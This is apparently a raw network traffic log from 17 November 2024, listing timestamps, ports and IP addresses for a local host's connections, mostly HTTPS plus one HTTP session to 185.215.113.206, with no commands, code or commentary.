Nov 17, 2024 12:35:29.197753906 CET	443	49781	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.198010921 CET	49781	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.198810101 CET	49782	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.198841095 CET	443	49782	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.198914051 CET	49782	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.203370094 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.203370094 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.203382015 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.203389883 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.203623056 CET	49781	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.203641891 CET	443	49781	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.204685926 CET	49782	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.204700947 CET	443	49782	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.208066940 CET	49783	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.208103895 CET	443	49783	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.208163023 CET	49783	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.211488008 CET	49783	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.211513996 CET	443	49783	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.307427883 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.324306965 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.324337959 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.324819088 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.324826002 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.339448929 CET	49794	443	192.168.2.5	18.244.18.38
Nov 17, 2024 12:35:29.339467049 CET	443	49794	18.244.18.38	192.168.2.5
Nov 17, 2024 12:35:29.339528084 CET	49794	443	192.168.2.5	18.244.18.38
Nov 17, 2024 12:35:29.339884996 CET	49794	443	192.168.2.5	18.244.18.38
Nov 17, 2024 12:35:29.339899063 CET	443	49794	18.244.18.38	192.168.2.5
Nov 17, 2024 12:35:29.409312010 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.451896906 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.452147961 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.453741074 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.460923910 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.651453972 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.651489019 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.653228045 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.653237104 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.653434992 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.653464079 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.777399063 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.777467012 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.777550936 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.933872938 CET	443	49781	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.940078020 CET	443	49783	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.947700977 CET	443	49782	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.973009109 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.973035097 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.973298073 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.973309040 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.984091043 CET	49796	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.984138012 CET	443	49796	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.984200001 CET	49796	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.984555006 CET	49796	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.984570026 CET	443	49796	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.985127926 CET	49781	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.985153913 CET	443	49781	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.987937927 CET	49781	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.987946033 CET	443	49781	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.988467932 CET	49783	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.988481998 CET	443	49783	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.989089966 CET	49783	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.989095926 CET	443	49783	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.989501953 CET	49797	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.989537954 CET	443	49797	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.989613056 CET	49797	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.989905119 CET	49797	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.989919901 CET	443	49797	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.990065098 CET	49782	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.990083933 CET	443	49782	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:29.991276979 CET	49782	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:29.991286993 CET	443	49782	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.114504099 CET	443	49783	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.114926100 CET	443	49781	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.115097046 CET	443	49781	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.115164042 CET	49781	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.115276098 CET	49781	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.115293026 CET	443	49781	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.115309954 CET	49781	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.115315914 CET	443	49781	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.119548082 CET	49798	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.119597912 CET	443	49798	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.119687080 CET	49798	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.120449066 CET	443	49783	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.120558023 CET	49783	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.120762110 CET	443	49782	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.120923042 CET	443	49782	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.121022940 CET	49782	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.124190092 CET	49798	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.124206066 CET	443	49798	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.136776924 CET	49783	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.136785030 CET	443	49783	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.136795044 CET	49783	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.136799097 CET	443	49783	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.153431892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:30.153564930 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:30.172441006 CET	49782	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.172467947 CET	443	49782	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.172583103 CET	49782	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.172593117 CET	443	49782	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.184339046 CET	49799	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.184369087 CET	443	49799	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.184519053 CET	49799	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.184715986 CET	49800	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.184748888 CET	443	49800	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.184835911 CET	49800	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.185499907 CET	49800	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.185514927 CET	443	49800	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.191920042 CET	49799	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.191956997 CET	443	49799	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.193782091 CET	443	49794	18.244.18.38	192.168.2.5
Nov 17, 2024 12:35:30.194078922 CET	49794	443	192.168.2.5	18.244.18.38
Nov 17, 2024 12:35:30.194108963 CET	443	49794	18.244.18.38	192.168.2.5
Nov 17, 2024 12:35:30.195584059 CET	443	49794	18.244.18.38	192.168.2.5
Nov 17, 2024 12:35:30.195643902 CET	49794	443	192.168.2.5	18.244.18.38
Nov 17, 2024 12:35:30.197071075 CET	49794	443	192.168.2.5	18.244.18.38
Nov 17, 2024 12:35:30.197149038 CET	443	49794	18.244.18.38	192.168.2.5
Nov 17, 2024 12:35:30.361304045 CET	49794	443	192.168.2.5	18.244.18.38
Nov 17, 2024 12:35:30.361315012 CET	443	49794	18.244.18.38	192.168.2.5
Nov 17, 2024 12:35:30.550327063 CET	49794	443	192.168.2.5	18.244.18.38
Nov 17, 2024 12:35:30.644490004 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:30.649470091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:30.711733103 CET	443	49796	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.713380098 CET	443	49797	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.713793993 CET	49796	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.713845015 CET	443	49796	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.714567900 CET	49796	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.714576960 CET	443	49796	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.716985941 CET	49797	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.717020988 CET	443	49797	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.717477083 CET	49797	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.717484951 CET	443	49797	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.840666056 CET	443	49797	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.840687990 CET	443	49796	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.840775967 CET	443	49796	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.840821981 CET	49796	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.840887070 CET	443	49797	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.840943098 CET	49797	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.842442036 CET	49797	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.842461109 CET	443	49797	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.842509031 CET	49797	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.842521906 CET	443	49797	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.844326019 CET	49796	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.844333887 CET	443	49796	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.844350100 CET	49796	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.844355106 CET	443	49796	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.845288038 CET	443	49798	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.846416950 CET	49798	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.846432924 CET	443	49798	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.847223043 CET	49798	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.847229004 CET	443	49798	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.851197958 CET	49804	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.851224899 CET	443	49804	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.851330042 CET	49804	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.854844093 CET	49804	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.854859114 CET	443	49804	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.856806993 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.856832027 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.856914997 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.857021093 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.857033014 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.928072929 CET	443	49799	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.931675911 CET	443	49800	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.934571981 CET	49799	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.934659004 CET	443	49799	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.935331106 CET	49799	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.935347080 CET	443	49799	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.935633898 CET	49800	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.935661077 CET	443	49800	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.936233997 CET	49800	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.936239958 CET	443	49800	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.972002029 CET	443	49798	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.972125053 CET	443	49798	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.972285032 CET	49798	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.972608089 CET	49798	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.972630978 CET	443	49798	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.980298042 CET	49806	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.980334997 CET	443	49806	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:30.980808020 CET	49806	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.981683969 CET	49806	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:30.981698990 CET	443	49806	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.059760094 CET	443	49799	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.059834957 CET	443	49799	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.059904099 CET	49799	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.060247898 CET	49799	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.060247898 CET	49799	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.060281038 CET	443	49799	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.060305119 CET	443	49799	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.061415911 CET	443	49800	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.062232018 CET	443	49800	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.062302113 CET	49800	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.062417984 CET	49800	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.062433958 CET	443	49800	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.062453985 CET	49800	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.062459946 CET	443	49800	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.071125984 CET	49809	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.071147919 CET	443	49809	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.071173906 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.071206093 CET	49809	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.071216106 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.071413040 CET	49809	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.071423054 CET	443	49809	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.071443081 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.071542978 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.071559906 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.560420036 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:31.560688972 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:31.689855099 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.693180084 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.693197966 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.693785906 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.693789959 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.694905996 CET	443	49804	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.698788881 CET	49804	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.698822021 CET	443	49804	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.699276924 CET	49804	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.699280977 CET	443	49804	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.721879959 CET	443	49806	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.724086046 CET	49806	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.724102020 CET	443	49806	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.724343061 CET	49806	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.724348068 CET	443	49806	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.748754978 CET	49813	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.748791933 CET	443	49813	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:31.748922110 CET	49813	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.749589920 CET	49813	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.749603987 CET	443	49813	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:31.749886036 CET	49814	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.749907017 CET	443	49814	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:31.750009060 CET	49814	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.750221968 CET	49814	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.750240088 CET	443	49814	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:31.804338932 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.805577040 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.805608034 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.805649042 CET	443	49809	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.806122065 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.806126118 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.806520939 CET	49809	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.806536913 CET	443	49809	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.806927919 CET	49809	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.806931019 CET	443	49809	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.821645021 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.821784973 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.821924925 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.821975946 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.821990013 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.822000980 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.822005987 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.825711012 CET	49815	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.825742960 CET	443	49815	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.825845003 CET	49815	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.826447010 CET	49815	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.826462030 CET	443	49815	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.829396963 CET	443	49804	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.829484940 CET	443	49804	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.829865932 CET	49804	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.829866886 CET	49804	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.829919100 CET	49804	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.829931021 CET	443	49804	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.839500904 CET	49816	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.839538097 CET	443	49816	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.839626074 CET	49816	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.839766026 CET	49816	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.839785099 CET	443	49816	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.852461100 CET	443	49806	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.852539062 CET	443	49806	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.852639914 CET	49806	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.852925062 CET	49806	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.852938890 CET	443	49806	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.852977037 CET	49806	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.852992058 CET	443	49806	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.859875917 CET	49817	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.859908104 CET	443	49817	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.859997034 CET	49817	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.860289097 CET	49817	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.860301971 CET	443	49817	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.865643024 CET	49813	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.866163015 CET	49818	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.866187096 CET	443	49818	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:31.866240978 CET	49818	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.866449118 CET	49818	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.866463900 CET	443	49818	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:31.867899895 CET	49759	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:31.867985964 CET	443	49759	94.245.104.56	192.168.2.5
Nov 17, 2024 12:35:31.868042946 CET	49759	443	192.168.2.5	94.245.104.56
Nov 17, 2024 12:35:31.868339062 CET	49814	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.868788004 CET	49794	443	192.168.2.5	18.244.18.38
Nov 17, 2024 12:35:31.868905067 CET	443	49794	18.244.18.38	192.168.2.5
Nov 17, 2024 12:35:31.868963957 CET	49794	443	192.168.2.5	18.244.18.38
Nov 17, 2024 12:35:31.869587898 CET	49819	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.869620085 CET	443	49819	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:31.869744062 CET	49819	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.870625973 CET	49819	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.870646000 CET	443	49819	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:31.891855955 CET	49822	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.891942024 CET	443	49822	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:31.892030001 CET	49822	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.892847061 CET	49822	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:31.892883062 CET	443	49822	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:31.907342911 CET	443	49813	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:31.915330887 CET	443	49814	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:31.933070898 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.933146954 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.933422089 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.933466911 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.933481932 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.933537006 CET	49810	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.933542967 CET	443	49810	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.936794996 CET	443	49809	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.937057018 CET	443	49809	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.937140942 CET	49809	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.937517881 CET	49809	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.937535048 CET	443	49809	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.937570095 CET	49809	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.937576056 CET	443	49809	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.943795919 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.943823099 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.943974972 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.944307089 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.944319963 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.945384026 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.945413113 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.945481062 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.945683002 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.945697069 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.957269907 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.957308054 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:31.957370996 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.957604885 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:31.957619905 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.366946936 CET	443	49813	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.367017031 CET	49813	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.371593952 CET	443	49814	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.371747017 CET	443	49814	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.371814013 CET	49814	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.371814013 CET	49814	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.415967941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.420958996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.468991995 CET	443	49818	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.469542980 CET	49818	443	192.168.2.5	172.64.41.3
